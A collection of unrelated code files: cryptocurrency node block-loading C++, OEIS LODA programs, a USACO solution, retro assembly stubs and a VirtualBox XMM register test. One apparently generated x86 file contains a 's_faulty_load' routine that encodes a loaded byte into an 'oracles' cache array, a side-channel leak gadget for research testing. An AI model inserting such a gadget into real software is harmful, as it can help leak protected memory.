LOCK(CTxMemPool::mempool.get_cs());
//
// Add previous supporting transactions first
//
for(CMerkleTx &tx: this->vtxPrev)
{
if (!(tx.IsCoinBase() || tx.IsCoinStake())) {
uint256 hash = tx.GetHash();
if (!CTxMemPool::mempool.exists(hash) && !txdb.ContainsTx(hash)) {
tx.AcceptToMemoryPool(txdb, fCheckInputs);
}
}
}
return AcceptToMemoryPool(txdb, fCheckInputs);
}
return false;
}
bool CWalletTx::AcceptWalletTransaction()
{
CTxDB txdb("r");
return AcceptWalletTransaction(txdb);
}
int CTxIndex::GetDepthInMainChain() const noexcept
{
// Read block header
CBlock block;
if (! block.ReadFromDisk(pos.get_nFile(), pos.get_nBlockPos(), false)) {
return 0;
}
// Find the block in the index
auto mi = block_info::mapBlockIndex.find(block.GetPoHash());
if (mi == block_info::mapBlockIndex.end()) {
return 0;
}
CBlockIndex *pindex = (*mi).second;
if (!pindex || !pindex->IsInMainChain()) {
return 0;
}
return 1 + block_info::nBestHeight - pindex->get_nHeight();
}
//
// Called from inside SetBestChain: attaches a block to the new best chain being built
//
/*
template <typename T>
bool CBlock::SetBestChainInner(CTxDB &txdb, CBlockIndex *pindexNew)
{
uint256 hash = CBlockHeader_impl::GetHash();
//debugcs::instance() << "SetBestChainInner hash: " << hash.ToString() << debugcs::endl();
// Adding to current best branch
if (!ConnectBlock(txdb, pindexNew) || !txdb.WriteHashBestChain(hash)) {
txdb.TxnAbort();
block_check::manage<T>::InvalidChainFound(pindexNew);
return false;
}
if (! txdb.TxnCommit()) {
return logging::error("SetBestChain() : TxnCommit failed");
}
// Add to current best branch
pindexNew->set_pprev()->set_pnext(pindexNew);
// Delete redundant memory transactions
for(CTransaction &tx: this->vtx)
{
CTxMemPool::mempool.remove(tx);
}
return true;
}
*/
void block_load::UnloadBlockIndex()
{
block_info::mapBlockIndex.clear();
block_info::setStakeSeen.clear();
block_info::pindexGenesisBlock = NULL;
block_info::nBestHeight = 0;
block_info::nBestChainTrust = 0;
block_info::nBestInvalidTrust = 0;
block_info::hashBestChain = 0;
block_info::pindexBest = NULL;
}
bool block_load::LoadBlockIndex(bool fAllowNew/*=true*/) // Call by init.cpp
{
if (args_bool::fTestNet) {
block_info::gpchMessageStart[0] = 0xcd;
block_info::gpchMessageStart[1] = 0xf2;
block_info::gpchMessageStart[2] = 0xc0;
block_info::gpchMessageStart[3] = 0xef;
diff::bnProofOfWorkLimit = diff::testnet::bnProofOfWorkLimit;
block_check::nStakeMinAge = block_check::testnet::nStakeMinAge;
block_check::nModifierInterval = block_check::testnet::nModifierInterval;
block_transaction::nCoinbaseMaturity = block_transaction::testnet::nCoinbaseMaturity;
block_check::nStakeTargetSpacing = block_check::testnet::nStakeTargetSpacing;
block_check::nPowTargetSpacing = block_check::testnet::nPowTargetSpacing;
}
//
// Load block index
//
CTxDB txdb("cr+");
if (! txdb.LoadBlockIndex(block_info::mapBlockIndex,
block_info::setStakeSeen,
block_info::pindexGenesisBlock,
block_info::hashBestChain,
block_info::nBestHeight,
block_info::pindexBest,
block_info::nBestInvalidTrust,
block_info::nBestChainTrust)) {
return false;
}
//
// Init with genesis block
//
if (block_info::mapBlockIndex.empty()) {
if (! fAllowNew) {
return false;
}
//
// Genesis block
//
const char *pszTimestamp = block_params::pszTimestamp;
CTransaction txNew;
txNew.set_nTime( !args_bool::fTestNet ? block_params::nGenesisTimeMainnet: block_params::nGenesisTimeTestnet );
txNew.set_vin().resize(1);
txNew.set_vout().resize(1);
txNew.set_vin(0).set_scriptSig(CScript() << 0 << CBigNum(42) << bignum_vector((const unsigned char *)pszTimestamp, (const unsigned char *)pszTimestamp + ::strlen(pszTimestamp)));
txNew.set_vout(0).SetEmpty();
CBlock block;
block.set_vtx().push_back(txNew);
block.set_hashPrevBlock(0);
block.set_hashMerkleRoot(block.BuildMerkleTree());
block.set_nVersion(1);
block.set_nTime(!args_bool::fTestNet ? block_params::nGenesisTimeMainnet: block_params::nGenesisTimeTestnet);
block.set_nBits(diff::bnProofOfWorkLimit.GetCompact());
block.set_nNonce(!args_bool::fTestNet ? block_params::nGenesisNonceMainnet : block_params::nGenesisNonceTestnet);
if (true && (block.GetPoHash() != block_params::hashGenesisBlock)) {
//
// This will figure out a valid hash and Nonce if you're creating a different genesis block
//
uint256 hashTarget = CBigNum().SetCompact(block.get_nBits()).getuint256();
while (block.GetPoHash() > hashTarget)
{
++block.set_nNonce();
if (block.get_nNonce() == 0) {
logging::LogPrintf("NONCE WRAPPED, incrementing time");
++block.set_nTime();
}
}
}
//
// Genesis check
//
block.print();
logging::LogPrintf("block.GetHash() == %s\n", block.GetPoHash().ToString().c_str());
logging::LogPrintf("block.hashMerkleRoot == %s\n", block.get_hashMerkleRoot().ToString().c_str());
logging::LogPrintf("block.nTime = %u \n", block.get_nTime());
logging::LogPrintf("block.nNonce = %u \n", block.get_nNonce());
assert(block.get_hashMerkleRoot() == block_params::hashMerkleRoot);
assert(block.GetPoHash() == (!args_bool::fTestNet ? block_params::hashGenesisBlock : block_params::hashGenesisBlockTestNet));
assert(block.CheckBlock());
//
// Start new block file
//
unsigned int nFile;
unsigned int nBlockPos;
if (! block.WriteToDisk(nFile, nBlockPos)) {
return logging::error("LoadBlockIndex() : writing genesis block to disk failed");
}
if (! block.AddToBlockIndex(nFile, nBlockPos)) {
return logging::error("LoadBlockIndex() : genesis block not accepted");
}
// initialize synchronized checkpoint
if (! Checkpoints::manage::WriteSyncCheckpoint((!args_bool::fTestNet ? block_params::hashGenesisBlock : block_params::hashGenesisBlockTestNet))) {
return logging::error("LoadBlockIndex() : failed to init sync checkpoint");
}
// upgrade time set to zero if txdb initialized
{
if (! txdb.WriteModifierUpgradeTime(0)) {
return logging::error("LoadBlockIndex() : failed to init upgrade info");
}
logging::LogPrintf(" Upgrade Info: ModifierUpgradeTime txdb initialization\n");
}
}
{
CTxDB txdb("r+");
//
// if checkpoint master key changed must reset sync-checkpoint
//
std::string strPubKey = "";
if (!txdb.ReadCheckpointPubKey(strPubKey) || strPubKey != CSyncCheckpoint::Get_strMasterPubKey()) {
//
// write checkpoint master key to db
//
txdb.TxnBegin();
if (! txdb.WriteCheckpointPubKey(CSyncCheckpoint::Get_strMasterPubKey())) {
return logging::error("LoadBlockIndex() : failed to write new checkpoint master key to db");
}
if (! txdb.TxnCommit()) {
return logging::error("LoadBlockIndex() : failed to commit new checkpoint master key to db");
}
if ((!args_bool::fTestNet) && !Checkpoints::manage::ResetSyncCheckpoint()) {
return logging::error("LoadBlockIndex() : failed to reset sync-checkpoint");
}
}
//
// upgrade time set to zero if blocktreedb initialized
//
if (txdb.ReadModifierUpgradeTime(bitkernel::nModifierUpgradeTime)) {
if (bitkernel::nModifierUpgradeTime) {
logging::LogPrintf(" Upgrade Info: blocktreedb upgrade detected at timestamp %d\n", bitkernel::nModifierUpgradeTime);
} else {
logging::LogPrintf(" Upgrade Info: no blocktreedb upgrade detected.\n");
}
} else {
bitkernel::nModifierUpgradeTime = bitsystem::GetTime();
logging::LogPrintf(" Upgrade Info: upgrading blocktreedb at timestamp %u\n", bitkernel::nModifierUpgradeTime);
if (! txdb.WriteModifierUpgradeTime(bitkernel::nModifierUpgradeTime)) {
return logging::error("LoadBlockIndex() : failed to write upgrade info");
}
}
}
return true;
}
bool block_load::LoadExternalBlockFile(FILE *fileIn)
{
int64_t nStart = util::GetTimeMillis();
int nLoaded = 0;
{
LOCK(block_process::cs_main);
try {
CAutoFile blkdat(fileIn, SER_DISK, version::CLIENT_VERSION);
unsigned int nPos = 0;
while (nPos != std::numeric_limits<uint32_t>::max() && blkdat.good() && !args_bool::fRequestShutdown)
{
unsigned char pchData[65536];
do
{
::fseek(blkdat, nPos, SEEK_SET);
size_t nRead = ::fread(pchData, 1, sizeof(pchData), blkdat);
if (nRead <= 8) {
nPos = std::numeric_limits<uint32_t>::max();
break;
}
void *nFind = ::memchr(pchData, block_info::gpchMessageStart[0], nRead + 1 - sizeof(block_info::gpchMessageStart));
if (nFind) {
if (::memcmp(nFind, block_info::gpchMessageStart, sizeof(block_info::gpchMessageStart)) == 0 ) {
nPos += ((unsigned char *)nFind - pchData) + sizeof(block_info::gpchMessageStart);
break;
}
nPos += ((unsigned char *)nFind - pchData) + 1;
} else {
nPos += sizeof(pchData) - sizeof(block_info::gpchMessageStart) + 1;
}
} while(! args_bool::fRequestShutdown);
if (nPos == std::numeric_limits<uint32_t>::max()) {
break;
}
::fseek(blkdat, nPos, SEEK_SET);
unsigned int nSize;
blkdat >> nSize;
if (nSize > 0 && nSize <= block_params::MAX_BLOCK_SIZE) {
CBlock block;
blkdat >> block;
if (block_process::manage::ProcessBlock(NULL, &block)) {
nLoaded++;
nPos += 4 + nSize;
}
}
}
} catch (const std::exception &) {
logging::LogPrintf("%s() : Deserialize or I/O error caught during load\n", BOOST_CURRENT_FUNCTION);
}
}
logging::LogPrintf("Loaded %i blocks from external file in %" PRId64 "ms\n", nLoaded, util::GetTimeMillis() - nStart);
return nLoaded > 0;
}
//
// main cleanup
// Singleton Class
//
class CMainCleanup
{
private:
static CMainCleanup instance_of_cmaincleanup;
CMainCleanup() {}
~CMainCleanup() {
//
// Thread stop
//
//
// block headers
//
auto it1 = block_info::mapBlockIndex.begin();
for (; it1 != block_info::mapBlockIndex.end(); it1++)
{
delete (*it1).second;
}
block_info::mapBlockIndex.clear();
//
// orphan blocks
//
std::map<uint256, CBlock *>::iterator it2 = block_process::mapOrphanBlocks.begin();
for (; it2 != block_process::mapOrphanBlocks.end(); it2++)
{
delete (*it2).second;
}
block_process::mapOrphanBlocks.clear();
// orphan transactions
// development ...
}
};
CMainCleanup CMainCleanup::instance_of_cmaincleanup;
|
; A266242: Numbers n such that the initial digit of the fractional part of n*Pi is 0.
; 0,36,43,50,57,64,71,78,85,92,99,106,149,156,163,170,177,184,191,198,205,212,219,262,269,276,283,290,297,304,311,318,325,332,375,382,389,396,403,410,417,424,431,438,445,488,495,502,509,516,523,530,537,544,551,558,601,608,615,622,629,636,643,650,657,664,671,714,721,728,735,742,749,756,763,770,777,784,827,834,841,848,855,862,869,876,883,890,897,940,947,954,961,968,975,982,989,996,1003,1010,1053,1060,1067,1074,1081,1088,1095,1102,1109,1116,1123,1166,1173,1180,1187,1194,1201,1208,1215,1222,1229,1236,1279,1286,1293,1300,1307,1314,1321,1328,1335,1342,1349,1392,1399,1406,1413,1420,1427,1434,1441,1448,1455,1462,1505,1512,1519,1526,1533,1540,1547,1554,1561,1568,1575,1618,1625,1632,1639,1646,1653,1660,1667,1674,1681,1688,1731,1738,1745,1752,1759,1766,1773,1780,1787,1794,1801,1844,1851,1858,1865,1872,1879,1886,1893,1900,1907,1914,1957,1964,1971,1978,1985,1992,1999,2006,2013,2020,2027,2070,2077,2084,2091,2098,2105,2112,2119,2126,2133,2140,2183,2190,2197,2204,2211,2218,2225,2232,2239,2246,2253,2296,2303,2310,2317,2324,2331,2338,2345,2352,2359,2366,2409,2416,2423,2430,2437,2444,2451,2458,2465,2472,2479,2522,2529,2536,2543,2550,2557,2564
mov $1,$0
mov $3,$0
mov $4,$0
lpb $0
sub $0,7
trn $0,4
add $1,1
add $4,5
add $4,$1
mov $1,5
mov $5,$4
add $5,1
mov $6,$4
mov $4,$5
sub $6,1
mov $2,$6
add $5,5
lpe
add $1,$2
add $4,$5
add $1,$4
lpb $3
add $1,1
sub $3,1
lpe
|
/*
ID: suzyzha1
PROG: shuttle
LANG: C++
*/
#include <iostream>
#include <fstream>
#include <cstring>
using namespace std;
int n,ans[200];
struct State
{
char wood[25];
int empty,move,pre;
bool operator == (const State &b)
{
if(empty!=b.empty) return false;
if(strncmp(wood,b.wood,(n<<1)+1)==0) return true;
return false;
}
} qu[120000];
int main()
{
fstream fin("shuttle.in",ios::in);
fin>>n;
fin.close();
State target;
qu[0].move=qu[0].pre=-1;
qu[0].empty=target.empty=n;
qu[0].wood[n]=target.wood[n]=' ';
for(int i=0;i<n;i++)
{
qu[0].wood[i]=target.wood[i+n+1]='W';
qu[0].wood[i+n+1]=target.wood[i]='B';
}
char j;
State cur,tmp;
int head=0,tail=1,loc,lim=n<<1,idx=-1;
while(head<tail)
{
cur=qu[head];
head++;
tmp=cur;
loc=cur.empty;
for(int i=-2;i<=2;i++)
if(i!=0 && loc+i>=0 && loc+i<=lim)
{
j=tmp.wood[loc+i];
if((i==2 || i==-2) && j==tmp.wood[loc+(i/2)]) continue;
if(j=='W' && i>0) continue;
if(j=='B' && i<0) continue;
tmp.wood[loc+i]=' ';
tmp.wood[loc]=j;
tmp.empty=loc+i;
tmp.move=loc+i+1;
tmp.pre=head-1;
qu[tail]=tmp;
tail++;
if(tmp==target)
{
idx=tail-1;
break;
}
tmp=cur;
}
if(idx!=-1) break;
}
fstream fout("shuttle.out",ios::out);
while(idx>0)
{
ans[0]++;
ans[ans[0]]=qu[idx].move;
idx=qu[idx].pre;
}
fout<<ans[ans[0]];
int count=1;
for(int i=ans[0]-1;i>=1;i--)
{
if(count) fout<<" ";
fout<<ans[i];
count++;
if(count==20)
{
count=0;
fout<<endl;
}
}
if(count) fout<<endl;
fout.close();
return 0;
} |
; void zxn_read_mmu_state(uint8_t *dst)
SECTION code_clib
SECTION code_arch
PUBLIC zxn_read_mmu_state
EXTERN asm_zxn_read_mmu_state
defc zxn_read_mmu_state = asm_zxn_read_mmu_state
|
; A019333: Expansion of 1/((1-4x)(1-6x)(1-8x)).
; Submitted by Jamie Morken(s2)
; 1,18,220,2280,21616,194208,1685440,14290560,119232256,983566848,8047836160,65462691840,530198327296,4280634482688,34479631482880,277245459333120,2226418414452736,17862092934217728,143201285904793600,1147437816702566400,9190468809917464576,73589552535167827968,589111250208497336320,4715259051599651143680,37736286993862220578816,301975584563187740049408,2416316412682841400279040,19333601736541166591016960,154687236574857539098771456,1237608428982259927165698048,9901530651311398608185589760
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
add $1,$2
mul $1,4
mul $2,8
mul $3,6
lpe
mov $0,$1
div $0,4
|
data segment
pctrl equ 0c803h
pc equ 0c802h
pb equ 0c801h
code1 db 0ffh,0ffh,0ffh,0ffh,99h,0b0h,0a4h,0f9h,80h,0f8h,82h,92h
data ends
code segment
assume cs:code,ds:data
start:mov ax,data
mov ds,ax
mov dx,pctrl
mov al,80h
out dx,al
mov cl,12
mov si,offset code1
again: call display
call delay
inc si
dec cl
jnz again
mov ah,4ch
int 21h
display proc near
mov bl,08h
mov al,[si]
top: rol al,01
mov ch,al
mov dx,pb
out dx,al
mov al,00h
mov dx,pc
out dx,al
mov al,0ffh
mov dx,pc
out dx,al
mov al,ch
dec bl
jnz top
ret
display endp
delay proc near
push bx
mov di,0ffffh
t: mov bx,0ffffh
t1: dec bx
jnz t1
dec di
jnz t
pop bx
ret
delay endp
code ends
end start
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x11cbe, %r14
nop
nop
nop
nop
nop
add %rbp, %rbp
movups (%r14), %xmm4
vpextrq $0, %xmm4, %r11
nop
and %r13, %r13
lea addresses_D_ht+0x1c776, %rsi
lea addresses_UC_ht+0x1d2be, %rdi
nop
cmp %r12, %r12
mov $91, %rcx
rep movsb
sub %rcx, %rcx
lea addresses_A_ht+0x17dbe, %rbp
nop
nop
nop
nop
nop
and $10002, %r12
movw $0x6162, (%rbp)
nop
nop
nop
nop
add $7825, %r11
lea addresses_D_ht+0x140be, %rdi
nop
cmp %rcx, %rcx
mov (%rdi), %r14
nop
nop
nop
nop
nop
lfence
lea addresses_WC_ht+0x112de, %rsi
lea addresses_normal_ht+0xa2be, %rdi
nop
nop
nop
nop
cmp $17659, %r13
mov $59, %rcx
rep movsb
nop
nop
nop
xor $27304, %r12
lea addresses_D_ht+0x161be, %r14
clflush (%r14)
nop
nop
nop
nop
and %r11, %r11
movw $0x6162, (%r14)
nop
nop
nop
nop
sub %r13, %r13
lea addresses_D_ht+0x1a15e, %rsi
lea addresses_normal_ht+0x9d7e, %rdi
nop
nop
nop
add %r13, %r13
mov $27, %rcx
rep movsb
nop
nop
cmp %rcx, %rcx
lea addresses_UC_ht+0x1aabe, %rcx
nop
nop
nop
nop
nop
sub %r13, %r13
mov $0x6162636465666768, %rbp
movq %rbp, %xmm5
vmovups %ymm5, (%rcx)
nop
cmp %rbp, %rbp
lea addresses_WT_ht+0xf1be, %r14
nop
nop
nop
nop
nop
xor $9438, %rdi
mov $0x6162636465666768, %r12
movq %r12, %xmm3
movups %xmm3, (%r14)
add $50023, %rbp
lea addresses_UC_ht+0x2506, %r11
inc %rcx
mov (%r11), %si
and $64728, %rbp
lea addresses_D_ht+0x1483e, %rcx
nop
and %rbp, %rbp
mov (%rcx), %r11d
xor $45664, %r13
lea addresses_WC_ht+0x180be, %rcx
nop
nop
nop
sub $19379, %rbp
mov $0x6162636465666768, %r14
movq %r14, (%rcx)
nop
nop
nop
cmp $14429, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x1a7d6, %r15
cmp %rsi, %rsi
movw $0x5152, (%r15)
add $31824, %r14
// REPMOV
lea addresses_A+0x3d5e, %rsi
lea addresses_WT+0x142ae, %rdi
nop
add %r12, %r12
mov $84, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %r14
// Faulty Load
lea addresses_PSE+0x2abe, %rdi
nop
and $14327, %rcx
vmovups (%rdi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rsi
lea oracles, %rax
and $0xff, %rsi
shlq $12, %rsi
mov (%rax,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal', 'size': 2, 'AVXalign': False}}
{'src': {'type': 'addresses_A', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT', 'congruent': 4, 'same': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; int putc(int c, FILE *stream)
INCLUDE "clib_cfg.asm"
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _putc
EXTERN _fputc
defc _putc = _fputc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _putc
EXTERN _putc_unlocked
defc _putc = _putc_unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
; stdio_in_d
; 05.2008 aralbrec
XLIB stdio_in_d
LIB stdio_incommon1, stdio_incommon2, asm_isdigit, stdio_ungetchar, stdio_inexit
; input %d parameter
;
; enter : ix = FILE *
; b = width
; c = flags [000a*WL0]
; hl = & parameter list
; bc' = total num chars read from stream thus far
; de' = number of conversions done thus far
; on exit : bc' = total num chars read from stream thus far
; de' = number of conversions done thus far
; hl = & parameter list
; carry set if EOF reached
;
; MUST NOT ALTER HL' FOR SSCANF FAMILY
.stdio_in_d
call stdio_incommon1 ; leading ws, sign, int *
ret c
; ix = FILE *
; c = flags [000a*WLN]
; hl = & parameter list
; de = int *
; a = next char from stream
call asm_isdigit ; is first char a decimal digit?
jp c, stdio_inexit
; now we know we have a valid decimal number on the stream
call stdio_ungetchar ; place first digit back on stream
ld b,10 ; radix = 10
jp stdio_incommon2 ; do the rest
|
; void *esx_disk_stream_bytes(void *dst,uint16_t len)
SECTION code_esxdos
PUBLIC esx_disk_stream_bytes_callee
EXTERN asm_esx_disk_stream_bytes
esx_disk_stream_bytes_callee:
pop hl
pop de
ex (sp),hl
jp asm_esx_disk_stream_bytes
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _esx_disk_stream_bytes_callee
defc _esx_disk_stream_bytes_callee = esx_disk_stream_bytes_callee
ENDIF
|
; $Id: xmmsaving-asm.asm $
;; @file
; xmmsaving - assembly helpers.
;
;
; Copyright (C) 2009-2015 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
%include "iprt/asmdefs.mac"
%include "VBox/vmm/stam.mac"
BEGINCODE
;;
; DECLASM(int) XmmSavingTestLoadSet(const MYXMMREGSET *pSet, const MYXMMREGSET *pPrevSet, PRTUINT128U pBadVal);
;
; @returns 0 on success, 1-based register number on failure.
; @param pSet The new set.
; @param pPrevSet The previous set. Can be NULL.
; @param pBadVal Where to store the actual register value on failure.
;
BEGINPROC XmmSavingTestLoadSet
push xBP
mov xBP, xSP
sub xSP, 32 ; Space for storing an XMM register (in TEST_REG).
and xSP, ~31 ; Align it.
; Unify register/arguments.
%ifdef ASM_CALL64_GCC
mov r8, rdx ; pBadVal
mov xCX, rdi ; pSet
mov xDX, rsi ; pPrevSet
%endif
%ifdef RT_ARCH_X86
mov xCX, [ebp + 8] ; pSet
mov xDX, [ebp + 12] ; pPrevSet
%endif
test xDX, xDX
jz near .just_load
; Check that the old set is still correct.
%macro TEST_REG 1,
movdqa [xSP], xmm %+ %1
mov xAX, [xDX + %1 * 8]
cmp [xSP], xAX
jne %%bad
mov xAX, [xDX + %1 * 8 + xCB]
cmp [xSP + xCB], xAX
%ifdef RT_ARCH_X86
jne %%bad
mov xAX, [xDX + %1 * 8 + xCB*2]
cmp [xSP + xCB*2], xAX
jne %%bad
mov xAX, [xDX + %1 * 8 + xCB*3]
cmp [xSP + xCB*3], xAX
%endif
je %%next
%%bad:
mov eax, %1 + 1
jmp .return_copy_badval
%%next:
%endmacro
TEST_REG 0
TEST_REG 1
TEST_REG 2
TEST_REG 3
TEST_REG 4
TEST_REG 5
TEST_REG 6
TEST_REG 7
%ifdef RT_ARCH_AMD64
TEST_REG 8
TEST_REG 9
TEST_REG 10
TEST_REG 11
TEST_REG 12
TEST_REG 13
TEST_REG 14
TEST_REG 15
%endif
; Load the new state.
.just_load:
movdqu xmm0, [xCX + 0*8]
movdqu xmm1, [xCX + 1*8]
movdqu xmm2, [xCX + 2*8]
movdqu xmm3, [xCX + 3*8]
movdqu xmm4, [xCX + 4*8]
movdqu xmm5, [xCX + 5*8]
movdqu xmm6, [xCX + 6*8]
movdqu xmm7, [xCX + 7*8]
%ifdef RT_ARCH_AMD64
movdqu xmm8, [xCX + 8*8]
movdqu xmm9, [xCX + 9*8]
movdqu xmm10, [xCX + 10*8]
movdqu xmm11, [xCX + 11*8]
movdqu xmm12, [xCX + 12*8]
movdqu xmm13, [xCX + 13*8]
movdqu xmm14, [xCX + 14*8]
movdqu xmm15, [xCX + 15*8]
%endif
xor eax, eax
jmp .return
.return_copy_badval:
